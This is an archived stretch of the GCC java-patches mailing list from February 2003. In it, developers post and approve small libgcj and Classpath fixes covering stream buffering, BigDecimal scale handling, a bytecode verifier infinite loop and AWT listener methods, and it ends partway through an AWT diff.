java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19194 invoked from network); 13 Feb 2003 16:49:48 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 16:49:48 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA21371; Thu, 13 Feb 2003 09:49:47 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 76CC34F8072; Thu, 13 Feb 2003 09:39:51 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] gnu.java.nio.FileChannelImpl References: <200302131613.54753.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Should I do my BOBBIE VINTON medley? Date: 13 Feb 2003 09:39:51 -0700 In-Reply-To: <200302131613.54753.konqueror@gmx.de> Message-ID: <874r78xhgo.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Here a patch I commited for gnu.java.nio.FileChannelImpl. This class Michael> doesn't get compiled yet by default but the nigthmare is near ;-) Thanks, I'll put this in 3.3. Tom From java-patches-return-6123-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 16:52:17 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20295 invoked by alias); 13 Feb 2003 16:52:17 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20288 invoked from network); 13 Feb 2003 16:52:17 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 16:52:17 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA22095; Thu, 13 Feb 2003 09:52:16 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D808F4F8072; Thu, 13 Feb 2003 09:42:19 -0700 (MST) To: Casey Marshall Cc: java-patches@gcc.gnu.org Subject: Re: PATCH: java.security improvements References: <3E282BAB.7020306@metastatic.org> <874r79i61y.fsf@fleche.redhat.com> <3E4B4C75.5000809@metastatic.org> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm not an Iranian!! I voted for Dianne Feinstein!! Date: 13 Feb 2003 09:42:19 -0700 In-Reply-To: <3E4B4C75.5000809@metastatic.org> Message-ID: <87znp0w2s4.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Casey" == Casey Marshall writes: Casey> Looks ok. Thanks. I'll check it in shortly. >> BTW, parts of the patch need reformatting to fit the classpath/libgcj >> coding standard. Could you do that? That will make it easier to put >> the patch in when the time comes. Casey> Ok. I assume you mean the indentation of code blocks? Yeah, stuff like the placement of `{' -- in our style it needs its own line. The C style in the GNU coding standards provides a pretty good idea of the classpath/libgcj style. Tom From java-patches-return-6124-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 20:42:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15785 invoked by alias); 13 Feb 2003 20:42:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15777 invoked from network); 13 Feb 2003 20:42:02 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 13 Feb 2003 20:42:02 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18jQAw-0004U1-00 for ; Thu, 13 Feb 2003 21:41:42 +0100 Subject: BufferedOutputStream.write() premature buffer flush patch From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-aVRV3DyUh+BQJd/q5/EZ" Organization: Message-Id: <1045168920.30211.234.camel@elsschot> Mime-Version: 1.0 Date: 13 Feb 2003 21:42:00 +0100 --=-aVRV3DyUh+BQJd/q5/EZ Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following small patch makes sure that a BufferedOutputStream is only flushed when really needed (which means if the buffer is full and another byte should be written). This is more according to spec and how other jdks do it. It probably doesn't impact that many applications (and probably only if they depend on this feature for optimization) but it does fix one Mauve test. 2003-02-13 Mark Wielaard * java/io/BufferedOutputStream.java (write(int)): Only flush when next byte cannot be buffered. OK for mainline and branch? Cheers, Mark --=-aVRV3DyUh+BQJd/q5/EZ Content-Disposition: inline; filename=BufferedOutputStream.patch Content-Type: text/x-patch; name=BufferedOutputStream.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/io/BufferedOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/BufferedOutputStream.java,v retrieving revision 1.7 diff -u -r1.7 BufferedOutputStream.java --- java/io/BufferedOutputStream.java 15 Jun 2002 18:59:14 -0000 1.7 +++ java/io/BufferedOutputStream.java 13 Feb 2003 20:31:06 -0000 @@ -1,5 +1,5 @@ /* BufferedOutputStream.java -- Buffer output into large blocks before writing - Copyright (C) 1998, 2000 Free Software Foundation, Inc. + Copyright (C) 1998, 2000, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -189,11 +189,11 @@ public synchronized void write(int b) throws IOException { - buf[count] = (byte)(b & 0xFF); - - ++count; if (count == buf.length) flush(); + + buf[count] = (byte)(b & 0xFF); + ++count; } /*************************************************************************/ --=-aVRV3DyUh+BQJd/q5/EZ-- From java-patches-return-6125-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 22:32:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5633 invoked by alias); 13 Feb 2003 22:32:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5621 invoked from network); 13 Feb 2003 22:32:55 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 22:32:55 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA18540; Thu, 13 Feb 2003 15:32:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A26C24F8072; Thu, 13 Feb 2003 15:23:00 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: BufferedOutputStream.write() premature buffer flush patch References: <1045168920.30211.234.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: You can't hurt me!! I have an ASSUMABLE MORTGAGE!! Date: 13 Feb 2003 15:23:00 -0700 In-Reply-To: <1045168920.30211.234.camel@elsschot> Message-ID: <87wuk3u8fv.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> 2003-02-13 Mark Wielaard Mark> * java/io/BufferedOutputStream.java (write(int)): Only flush when Mark> next byte cannot be buffered. Mark> OK for mainline and branch? Yes, thanks. Tom From java-patches-return-6126-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 23:10:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31801 invoked by alias); 13 Feb 2003 23:10:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31786 invoked from network); 13 Feb 2003 23:10:48 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 13 Feb 2003 23:10:48 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18jSUv-0004ki-00 for ; Fri, 14 Feb 2003 00:10:29 +0100 Subject: FYI: InflaterInputStream.read() patchlet From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: text/plain Organization: Message-Id: <1045177846.30179.238.camel@elsschot> Mime-Version: 1.0 Date: 14 Feb 2003 00:10:47 +0100 Content-Transfer-Encoding: 7bit Hi, The following fixes a Mauve failure. A bug report for Classpath indicates that this actually happens in real code. 2003-02-13 Mark Wielaard * java/util/zip/InflaterInputStream.java (read): Return zero when len is zero. I am committing this to branch and mainline. Cheers, Mark --- java/util/zip/InflaterInputStream.java 15 Jun 2002 18:31:13 -0000 1.14 +++ java/util/zip/InflaterInputStream.java 13 Feb 2003 23:07:26 -0000 @@ -1,5 +1,5 @@ /* InflaterInputStream.java - Input stream filter for decompressing - Copyright (C) 1999, 2000, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2000, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -90,6 +90,8 @@ { if (inf == null) throw new IOException ("stream closed"); + if (len == 0) + return 0; if (inf.finished()) return -1; From java-patches-return-6127-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 23:27:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7953 invoked by alias); 13 Feb 2003 23:27:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7937 invoked from network); 13 Feb 2003 23:27:18 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 13 Feb 2003 23:27:18 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18jSkt-0004l8-00 for ; Fri, 14 Feb 2003 00:26:59 +0100 Subject: java.io.In/OutputStreamReader/Writer.getEncoding() fixlet From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-p1nnwTUVBUz8uItVdI8L" Organization: Message-Id: <1045178836.30202.242.camel@elsschot> Mime-Version: 1.0 Date: 14 Feb 2003 00:27:16 +0100 --=-p1nnwTUVBUz8uItVdI8L Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following fixes two Mauve failures. When a stream is closed it should return null according to the spec. 2003-02-13 Mark Wielaard * java/io/InputStreamReader.java (getEncoding): Return null when closed. * java/io/OutputStreamWriter.java (getEncoding): Likewise. I am checking this in on branch and mainline. Cheers, Mark --=-p1nnwTUVBUz8uItVdI8L Content-Disposition: inline; filename=getEncoding.patch Content-Type: text/x-patch; name=getEncoding.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/io/InputStreamReader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/InputStreamReader.java,v retrieving revision 1.10 diff -u -r1.10 InputStreamReader.java --- java/io/InputStreamReader.java 6 Aug 2001 22:01:32 -0000 1.10 +++ java/io/InputStreamReader.java 13 Feb 2003 23:23:56 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1998, 1999, 2001 Free Software Foundation +/* Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -70,7 +70,10 @@ } } - public String getEncoding() { return converter.getName(); } + public String getEncoding() + { + return in != null ? converter.getName() : null; + } public boolean ready() throws IOException { Index: java/io/OutputStreamWriter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/OutputStreamWriter.java,v retrieving revision 1.10 diff -u -r1.10 OutputStreamWriter.java --- java/io/OutputStreamWriter.java 20 Feb 2001 19:01:55 -0000 1.10 +++ java/io/OutputStreamWriter.java 13 Feb 2003 23:23:56 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -28,7 +28,10 @@ private char[] work; private int wcount; - public String getEncoding() { return converter.getName(); } + public String getEncoding() + { + return out != null ? converter.getName() : null; + } private OutputStreamWriter(OutputStream out, UnicodeToBytes encoder) { --=-p1nnwTUVBUz8uItVdI8L-- From java-patches-return-6128-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 13 23:43:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16036 invoked by alias); 13 Feb 2003 23:43:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16008 invoked from network); 13 Feb 2003 23:43:46 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 13 Feb 2003 23:43:46 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA05632; Thu, 13 Feb 2003 16:43:43 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id BADB54F8072; Thu, 13 Feb 2003 16:33:50 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: libgcj verifier fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Remember, in 2039, MOUSSE & PASTA will be available ONLY by prescription!! Date: 13 Feb 2003 16:33:50 -0700 Message-ID: <87k7g3sqld.fsf@fleche.redhat.com> Lines: 232 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to 3.3 and 3.4. This fixes a verifier bug that manifested as an infinite loop. There is a test case for this in the Mauve `verify' module; it is "subr.pass.nonret". Some compilers (including the current gcj) can generate code that cause this problem. Tested against the Mauve verify tests. Tom Index: ChangeLog from Tom Tromey * verify.cc (state::seen_subrs): New field. (state::state): Initialize it. (state::clean_subrs): New method. (state::~state): Call it. (state::copy): Copy subroutine list. (state::add_subr): New method. (state::merge): Only register a change if the current subroutine hasn't yet been noted. Index: verify.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/verify.cc,v retrieving revision 1.48 diff -u -r1.48 verify.cc --- verify.cc 5 Dec 2002 02:23:57 -0000 1.48 +++ verify.cc 13 Feb 2003 23:37:35 -0000 @@ -1,6 +1,6 @@ // defineclass.cc - defining a class from .class format. -/* Copyright (C) 2001, 2002 Free Software Foundation +/* Copyright (C) 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -128,6 +128,34 @@ return r; } + __attribute__ ((__noreturn__)) void verify_fail (char *s, jint pc = -1) + { + using namespace java::lang; + StringBuffer *buf = new StringBuffer (); + + buf->append (JvNewStringLatin1 ("verification failed")); + if (pc == -1) + pc = start_PC; + if (pc != -1) + { + buf->append (JvNewStringLatin1 (" at PC ")); + buf->append (pc); + } + + _Jv_InterpMethod *method = current_method; + buf->append (JvNewStringLatin1 (" in ")); + buf->append (current_class->getName()); + buf->append ((jchar) ':'); + buf->append (JvNewStringUTF (method->get_method()->name->data)); + buf->append ((jchar) '('); + buf->append (JvNewStringUTF (method->get_method()->signature->data)); + buf->append ((jchar) ')'); + + buf->append (JvNewStringLatin1 (": ")); + buf->append (JvNewStringLatin1 (s)); + throw new java::lang::VerifyError (buf->toString ()); + } + // This enum holds a list of tags for all the different types we // need to handle. Reference types are treated specially by the // type class. @@ -793,6 +821,12 @@ // assigns to locals[0] (overwriting `this') and then returns // without really initializing. type this_type; + // This is a list of all subroutines that have been seen at this + // point. Ordinarily this is NULL; it is only allocated and used + // in relatively weird situations involving non-ret exit from a + // subroutine. We have to keep track of this in this way to avoid + // endless recursion in these cases. + subr_info *seen_subrs; // INVALID marks a state which is not on the linked list of states // requiring reverification. @@ -811,6 +845,7 @@ stack = NULL; locals = NULL; local_changed = NULL; + seen_subrs = NULL; } state (int max_stack, int max_locals) @@ -823,6 +858,7 @@ stack[i] = unsuitable_type; locals = new type[max_locals]; local_changed = (bool *) _Jv_Malloc (sizeof (bool) * max_locals); + seen_subrs = NULL; for (int i = 0; i < max_locals; ++i) { locals[i] = unsuitable_type; @@ -838,6 +874,7 @@ stack = new type[max_stack]; locals = new type[max_locals]; local_changed = (bool *) _Jv_Malloc (sizeof (bool) * max_locals); + seen_subrs = NULL; copy (orig, max_stack, max_locals, ret_semantics); next = INVALID; } @@ -850,6 +887,7 @@ delete[] locals; if (local_changed) _Jv_Free (local_changed); + clean_subrs (); } void *operator new[] (size_t bytes) @@ -872,6 +910,17 @@ _Jv_Free (mem); } + void clean_subrs () + { + subr_info *info = seen_subrs; + while (info != NULL) + { + subr_info *next = info->next; + _Jv_Free (info); + info = next; + } + } + void copy (const state *copy, int max_stack, int max_locals, bool ret_semantics = false) { @@ -891,6 +940,16 @@ locals[i] = copy->locals[i]; local_changed[i] = copy->local_changed[i]; } + + clean_subrs (); + if (copy->seen_subrs) + { + for (subr_info *info = seen_subrs; info != NULL; info = info->next) + add_subr (info->pc); + } + else + seen_subrs = NULL; + this_type = copy->this_type; // Don't modify `next'. } @@ -917,6 +976,15 @@ local_changed[i] = false; } + // Indicate that we've been in this this subroutine. + void add_subr (int pc) + { + subr_info *n = (subr_info *) _Jv_Malloc (sizeof (subr_info)); + n->pc = pc; + n->next = seen_subrs; + seen_subrs = n; + } + // Merge STATE_OLD into this state. Destructively modifies this // state. Returns true if the new state was in fact changed. // Will throw an exception if the states are not mergeable. @@ -944,10 +1012,23 @@ } else { - // If the subroutines differ, indicate that the state - // changed. This is needed to detect when subroutines have - // merged. - changed = true; + // If the subroutines differ, and we haven't seen this + // subroutine before, indicate that the state changed. This + // is needed to detect when subroutines have merged. + bool found = false; + for (subr_info *info = seen_subrs; info != NULL; info = info->next) + { + if (info->pc == state_old->subroutine) + { + found = true; + break; + } + } + if (! found) + { + add_subr (state_old->subroutine); + changed = true; + } } // Merge stacks. Special handling for NO_STACK case. @@ -3062,34 +3143,6 @@ start_PC); } } - } - - __attribute__ ((__noreturn__)) void verify_fail (char *s, jint pc = -1) - { - using namespace java::lang; - StringBuffer *buf = new StringBuffer (); - - buf->append (JvNewStringLatin1 ("verification failed")); - if (pc == -1) - pc = start_PC; - if (pc != -1) - { - buf->append (JvNewStringLatin1 (" at PC ")); - buf->append (pc); - } - - _Jv_InterpMethod *method = current_method; - buf->append (JvNewStringLatin1 (" in ")); - buf->append (current_class->getName()); - buf->append ((jchar) ':'); - buf->append (JvNewStringUTF (method->get_method()->name->data)); - buf->append ((jchar) '('); - buf->append (JvNewStringUTF (method->get_method()->signature->data)); - buf->append ((jchar) ')'); - - buf->append (JvNewStringLatin1 (": ")); - buf->append (JvNewStringLatin1 (s)); - throw new java::lang::VerifyError (buf->toString ()); } public: From java-patches-return-6129-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 09:57:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9985 invoked by alias); 14 Feb 2003 09:57:37 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9977 invoked from network); 14 Feb 2003 09:57:36 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 14 Feb 2003 09:57:36 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18jcah-0005nA-00 for ; Fri, 14 Feb 2003 10:57:07 +0100 Subject: BigDecimal fixlets From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-LhFRKcOY3jsxTagXQcmg" Organization: Message-Id: <1045216645.30211.294.camel@elsschot> Mime-Version: 1.0 Date: 14 Feb 2003 10:57:25 +0100 --=-LhFRKcOY3jsxTagXQcmg Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit Hi, The following fixed all remaining BigDecimal failures in Mauve. The divide() fixlet makes sure that the scale is set even in the special case of a ZERO result. (Fixes ssc005 and ssc006.) The String constructor fixlet implements the pedantic reading of the spec where a zero significant can be interpreted specially in the sentence: "in every case, the resulting BigDecimal is equal to significand × 10^exponent". (Fixes div376, mul038 and sca007.) Note that those last three do fail in the Blackdown-1.4.1-beta which I tested against. So the test might be a bit to pedantic, but Sun is known for not always following their own spec when it comes to parsing/decoding numeric types. 2003-02-14 Mark Wielaard * java/math/BigDecimal.java (BigDecimal(String)): Always set scale to zero when there is an exponent and the significant is zero. (divide): Always set scale to newScale even in special ZERO case. OK for mainline and branch? Cheers, Mark --=-LhFRKcOY3jsxTagXQcmg Content-Disposition: attachment; filename=BigDecimal.patch Content-Type: text/x-patch; name=BigDecimal.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/math/BigDecimal.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/math/BigDecimal.java,v retrieving revision 1.7 diff -u -r1.7 BigDecimal.java --- java/math/BigDecimal.java 7 Feb 2003 21:05:12 -0000 1.7 +++ java/math/BigDecimal.java 14 Feb 2003 09:55:04 -0000 @@ -189,7 +189,9 @@ { int exp = Integer.parseInt (num.substring (point)); exp -= scale; - if (exp > 0) + if (signum () == 0) + scale = 0; + else if (exp > 0) { intVal = intVal.multiply (BigInteger.valueOf (10).pow (exp)); scale = 0; @@ -266,7 +268,7 @@ throw new ArithmeticException ("scale is negative: " + newScale); if (intVal.signum () == 0) // handle special case of 0.0/0.0 - return ZERO; + return newScale == 0 ? ZERO : new BigDecimal (ZERO.intVal, newScale); // Ensure that pow gets a non-negative value. int valScale = val.scale; --=-LhFRKcOY3jsxTagXQcmg-- From java-patches-return-6130-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 11:02:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3061 invoked by alias); 14 Feb 2003 11:02:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3054 invoked from network); 14 Feb 2003 11:02:18 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 14 Feb 2003 11:02:18 -0000 Received: from 192.168.1.3 (dynadsl-080-228-65-206.ewetel.net [80.228.65.206]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1EB2Ebq016387 for ; Fri, 14 Feb 2003 12:02:15 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt Date: Fri, 14 Feb 2003 11:55:25 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_dsMT+yc/TEoBOs/" Message-Id: <200302141155.26238.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_dsMT+yc/TEoBOs/ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I have written another java.awt patch. This mostly implements some=20 missing methods (getListeners and friends) and removes some unneeded=20 "implements Serializable". Please review and comment. Of course this should go into classpath too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+TMseWSOgCCdjSDsRAlfbAJ92YR1OzmkGVBVuj8x+qnQLUthGWACfWJF/ hriT09fdv8EjvNHAToTBJp0=3D =3DZMpw =2D----END PGP SIGNATURE----- --Boundary-00=_dsMT+yc/TEoBOs/ Content-Type: text/x-diff; charset="iso-8859-15"; name="awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1698 diff -u -r1.1698 ChangeLog --- ChangeLog 13 Feb 2003 19:28:31 -0000 1.1698 +++ ChangeLog 14 Feb 2003 10:11:15 -0000 @@ -1,3 +1,59 @@ +2003-02-14 Michael Koch + + * java/awt/CheckboxMenuItem.java + (CheckBoxMenuItem): Dont implement Serializable. + (getListeners): New method, + (getItemListeners): New method. + * java/awt/Choice.java + (getListeners): New method, + (getItemListeners): New method. + * java/awt/Container.java + (getListeners): Added exception documentation. + (setFocusTraversalKeys): Throw exceptions, added documentattion. + (getFocusTraversalKeys): Added documentation. + (areFocusTraversalKeysSet): Added documentation. + (applyComponentOrientation): Added documentation. + * java/awt/ContainerOrderFocusTraversalPolicy.java + (implicitDownCycleTraversal): Renamed from downCycle for + serialization. + (ContainerOrderFocusTraversalPolicy): Added documentation. + (accept): Reformated. + * java/awt/Dialog.java + (Dialog): Dont implement Serializable. + (Dialog): Added documentation. + * java/awt/Font.java + (Font): Dont use absolute class name. + * java/awt/Frame.java + (Frame): Font implement Serializable. + * java/awt/List.java + (getListeners): New method, + (getActionListeners): New method. + (getItemListeners): New method. + * java/awt/Menu.java + (countItems): New deprecated method. + * java/awt/Scrollbar.java + (getListeners): New method, + (getAdjustmentListeners): New method, + * java/awt/TextComponent.java + (getListeners): New method, + (getTextListeners): New method, + * java/awt/TextField.java + (getListeners): New method, + (getActionListeners): New method. + * java/awt/Window.java + (windowFocusListener): New member variable. + (windowStateListener): New member variable. + (getWindowFocusListeners): New method. + (getWindowStateListeners): New method. + (addWindowFocusListener): New method. + (addWindowStateListener): New method. + (removeWindowFocusListener): New method. + (removeWindowStateListener): New method. + * java/awt/datatransfer/DataFlavor.java + (isRepresentationClassByteBuffer): New method. + (isRepresentationClassCharBuffer): New method. + (isRepresentationClassReader): New method. + 2003-02-13 Michael Koch * java/awt/Label.java Index: java/awt/CheckboxMenuItem.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/CheckboxMenuItem.java,v retrieving revision 1.7 diff -u -r1.7 CheckboxMenuItem.java --- java/awt/CheckboxMenuItem.java 2 Jan 2003 00:14:22 -0000 1.7 +++ java/awt/CheckboxMenuItem.java 14 Feb 2003 10:11:16 -0000 @@ -43,6 +43,7 @@ import java.awt.peer.MenuComponentPeer; import java.awt.event.ItemEvent; import java.awt.event.ItemListener; +import java.util.EventListener; /** * This class implements a menu item that has a checkbox on it indicating @@ -51,8 +52,7 @@ * @author Aaron M. Renn (arenn@urbanophile.com) * @author Tom Tromey */ -public class CheckboxMenuItem extends MenuItem implements ItemSelectable, - java.io.Serializable +public class CheckboxMenuItem extends MenuItem implements ItemSelectable { /* @@ -296,5 +296,29 @@ + "," + super.paramString()); } + /** + * Returns an array of all the objects currently registered as FooListeners + * upon this CheckboxMenuItem. FooListeners are registered using + * the addFooListener method. + * + * @exception ClassCastException If listenerType doesn't specify a class or + * interface that implements java.util.EventListener. + */ + public EventListener[] getListeners (Class listenerType) + { + if (listenerType == ItemListener.class) + return AWTEventMulticaster.getListeners (item_listeners, listenerType); + + return super.getListeners (listenerType); + } + + /** + * Returns an aray of all item listeners currently registered to this + * CheckBoxMenuItem. + */ + public ItemListener[] getItemListeners () + { + return (ItemListener[]) getListeners (ItemListener.class); + } } // class CheckboxMenuItem Index: java/awt/Choice.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Choice.java,v retrieving revision 1.9 diff -u -r1.9 Choice.java --- java/awt/Choice.java 2 Jan 2003 00:14:22 -0000 1.9 +++ java/awt/Choice.java 14 Feb 2003 10:11:16 -0000 @@ -44,6 +44,7 @@ import java.awt.event.ItemListener; import java.io.Serializable; import java.util.Vector; +import java.util.EventListener; /** * This class implements a drop down choice list. @@ -474,4 +475,31 @@ return ("selectedIndex=" + selectedIndex + "," + super.paramString()); } + /** + * Returns an array of all the objects currently registered as FooListeners + * upon this Choice. FooListeners are registered using the addFooListener + * method. + * + * @exception ClassCastException If listenerType doesn't specify a class or + * interface that implements java.util.EventListener. + * + * @since 1.3 + */ + public EventListener[] getListeners (Class listenerType) + { + if (listenerType == ItemListener.class) + return AWTEventMulticaster.getListeners (item_listeners, listenerType); + + return super.getListeners (listenerType); + } + + /** + * Returns all registered item listeners. + * + * @since 1.4 + */ + public ItemListener[] getItemListeners () + { + return (ItemListener[]) getListeners (ItemListener.class); + } } // class Choice Index: java/awt/Container.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Container.java,v retrieving revision 1.18 diff -u -r1.18 Container.java --- java/awt/Container.java 2 Jan 2003 00:14:22 -0000 1.18 +++ java/awt/Container.java 14 Feb 2003 10:11:16 -0000 @@ -728,6 +728,9 @@ * upon this Container. 